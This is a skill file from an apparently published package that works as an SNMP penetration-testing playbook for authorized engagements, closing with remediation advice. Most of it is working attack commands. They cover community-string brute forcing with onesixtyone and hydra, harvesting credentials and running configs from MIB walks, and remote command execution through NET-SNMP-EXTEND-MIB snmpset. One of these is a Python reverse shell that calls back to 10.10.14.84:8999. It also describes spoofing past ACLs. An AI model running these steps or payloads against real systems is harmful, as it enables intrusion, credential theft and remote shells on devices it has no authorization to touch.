pentesting-snmp
$
npx mdskill add xalgord/xalgorix/pentesting-snmp- Default port `161/udp` for SNMP agents (queries); `162/udp` for traps sent server->client; `10161/10162` when wrapped in TLS/DTLS. - When `nmap`/banner shows `snmp`, e.g. `161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)`. - Against routers, switches, printers, IoT and servers that expose monitoring data through the Management Information Base (MIB). - SNMPv1 and v2/2c authenticate with a plaintext **community string**; SNMPv3 uses real credentials and encryption (dictionary attack is harder).
SKILL.md
.github/skills/pentesting-snmpView on GitHub ↗
---
name: pentesting-snmp
description: Testing SNMP services (default 161/UDP for agents, 162/UDP for traps, 10161/10162 over TLS/DTLS) for default/guessable community strings, sensitive MIB/OID data harvesting, writable rwcommunity strings, and SNMP-to-RCE via NET-SNMP-EXTEND-MIB during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- snmp
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting SNMP (port 161)
## When to Use
- Default port `161/udp` for SNMP agents (queries); `162/udp` for traps sent server->client; `10161/10162` when wrapped in TLS/DTLS.
- When `nmap`/banner shows `snmp`, e.g. `161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)`.
- Against routers, switches, printers, IoT and servers that expose monitoring data through the Management Information Base (MIB).
- SNMPv1 and v2/2c authenticate with a plaintext **community string**; SNMPv3 uses real credentials and encryption (dictionary attack is harder).
## Quick Enumeration
```bash
# Nmap (run SNMP scripts except the slow brute)
nmap --script "snmp* and not snmp-brute" <target>
# Guess community strings (onesixtyone is fast for UDP)
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings-onesixtyone.txt <IP> -w 100
hydra -P /usr/share/wordlists/rockyou.txt -v <IP> snmp
# Walk the MIB once a valid community string is known (note the trailing dot)
snmpbulkwalk -c public -v2c 10.10.11.136 .
snmpwalk -v 2c -c public <IP> .1 # Enumerate everything
snmpwalk -v 2c -c public <IP> 1.3.6.1.2.1.4.34.1.3 # IPv6 addresses
snmpwalk -v 2c -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects # extended
# snmp-check parses results into a readable report
snmp-check <IP> -p 161 -c public
# Mass / fast OID scanning with braa (its own SNMP stack)
braa <community>@<IP>:.1.3.6.*
braa ignite123@192.168.1.125:.1.3.6.*
```
Install MIBs so OIDs resolve to names: `apt-get install snmp-mibs-downloader && download-mibs`, then comment the `mibs :` line in `/etc/snmp/snmp.conf`.
## Critical: Checks Most Often Missed
- **Default/guessable community strings** — `public` (read-only) and `private` (read/write) are the classics; vendor strings like `ciscoSystems`, `cable-docsis`, `ILMI` are common too. In v1/v2c a **bad** community gets **no response**, so any response means the string is valid.
- **Writability is per-OID, not per-string** — even a `public` string may allow writing some OIDs. Look for `rwcommunity` / `rwcommunity6` / `rwuser noauth` config. Writing returns `noSuchName`/`readOnly` only when blocked.
- **Sensitive data in MIB walks** — running processes (`1.3.6.1.2.1.25.4.2.1.2`) and their paths/args may contain passwords; user accounts (`1.3.6.1.4.1.77.1.2.25`); software (`1.3.6.1.2.1.25.6.3.1.2`); TCP ports (`1.3.6.1.2.1.6.13.1.3`).
- **SNMP-to-RCE** with a write community on net-snmp via `nsExtendObjects` (run-on-read).
- **ACL bypass via UDP source spoofing** — if only certain IPs may query, spoof one inside the UDP packet and sniff the reply.
### How to CONFIRM
- A valid community string: server **responds** at all to `snmpwalk -v2c -c <string> <IP> .1` (v1/v2c silently drop bad strings).
- Write access: `snmpset` succeeds (no `readOnly`/`noSuchName` error) — confirm with a re-`snmpwalk` of the OID you set.
- RCE: after injecting via `snmpset`, the `snmpwalk` of `NET-SNMP-EXTEND-MIB::nsExtendObjects` shows the command output (the command executes on read).
## Workflow
### Step 1: Enumerate
Discover the agent and confirm version. `nmap --script "snmp* and not snmp-brute" <target>` plus a banner grab. Note SNMP version (1/2c vs 3) because it dictates whether you attack a community string or full creds.
### Step 2: Authenticate / unauth access
Guess the community string with `onesixtyone`/`braa`/`hydra`. Confirm by checking for any response. For SNMPv3, enumerate users and attempt a dictionary attack against the auth/priv credentials.
### Step 3: Exploit / Extract
With a read string, harvest data and grep the captured `.snmp` output for high-value items (from Rapid7's harvesting methodology):
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
grep ".1.3.6.1.2.1.1.1.0" *.snmp # sysDesc - identify devices
grep -i "trap" *.snmp # find the private/trap community string
grep -i "login\|fail" *.snmp # failed logons may log passwords as usernames
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp # emails
```
With a **write** (`rwcommunity`) string on net-snmp, escalate to command execution by appending a row to the extend table:
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
# Confirm execution (run-on-read)
snmpwalk -v2c -c <rwstring> <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects
```
Reverse shell variant (binary must exist and be given an absolute path):
```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> \
'nsExtendStatus."command10"' = createAndGo \
'nsExtendCommand."command10"' = /usr/bin/python3.6 \
'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
Or use mxrch's helper: `git clone https://github.com/mxrch/snmp-shell`.
### Step 4: Post-access / pivot
Use harvested running-config (Cisco `private` string -> running configs), credentials, and internal IPs/usernames to pivot. Modify values with NetScanTools/`snmpset` when you hold the private string. Capture trap data on `162/udp` for additional intel.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Community string** | v1/v2c plaintext "password"; `public`=RO, `private`=RW (writability is per-OID) |
| **OID / MIB** | Object Identifier in the standardized MIB tree (e.g. `1.3.6.1.2.1` = MIB-2); MIBs describe where/what data lives |
| **SNMPv1/2c vs v3** | v1/2c send everything in plaintext; v3 adds real auth + encryption |
| **rwcommunity / rwuser noauth** | Config granting full write access to the OID tree -> RCE path on net-snmp |
| **run-on-read** | NET-SNMP-EXTEND-MIB executes the configured command when the OID is read (via snmpwalk) |
| **Traps** | Unsolicited packets on `162/udp` from agent to manager; may leak config words like "trap" |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **snmpwalk / snmpbulkwalk** | Walk the MIB tree with a known community string |
| **snmpget / snmpset** | Read a single OID / write OIDs (RCE via nsExtend) |
| **snmp-check** | Human-readable enumeration report |
| **onesixtyone** | Fast UDP community-string guesser |
| **braa** | Mass multi-host SNMP scanner with its own stack |
| **hydra** | SNMP community brute force |
| **nmap snmp-* NSE** | Discovery + targeted SNMP scripts |
| **Metasploit** | `auxiliary/scanner/snmp/snmp_login`, `snmp_enum` |
## Common Scenarios
### Scenario 1: Default community + data leak
`public` works; an `snmpwalk` of the process table reveals a service launched with a cleartext password in its command-line arguments.
### Scenario 2: Cisco running-config theft
SNMP trap data reveals the `private` string used on Cisco IOS; it is used to pull the full running configuration (with secrets) from the device.
### Scenario 3: Write community to RCE
A device exposes `rwcommunity SuP3RPrivCom90`; `snmpset` injects an `nsExtend` row pointing at `/usr/bin/python3`, and an `snmpwalk` triggers the reverse shell.
## Output Format
```
## SNMP Finding
**Service**: SNMP (161/udp)
**Severity**: <Critical|High|Medium>
**Target**: <IP>:161 Version: <v1|v2c|v3>
**Community String**: public (RO) / private (RW)
### Evidence
- Valid community string confirmed: server responded to snmpwalk .1
- Sensitive data extracted: <process args with creds / user list / running-config>
- Write access: snmpset on <OID> succeeded (verified by re-walk)
- RCE: nsExtend command output observed in nsExtendObjects walk
### Reproduction
snmpwalk -v 2c -c public <IP> .1
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c <rwstring> <IP> 'nsExtendStatus."x"' = createAndGo ...
### Recommendation
1. Disable SNMPv1/v2c; require SNMPv3 with authPriv (SHA + AES)
2. Replace default community strings; never expose RW (rwcommunity) strings
3. Restrict agents to management VLANs and trusted manager IPs (ACLs)
4. Remove rwuser noauth and net-snmp extend access where unused
```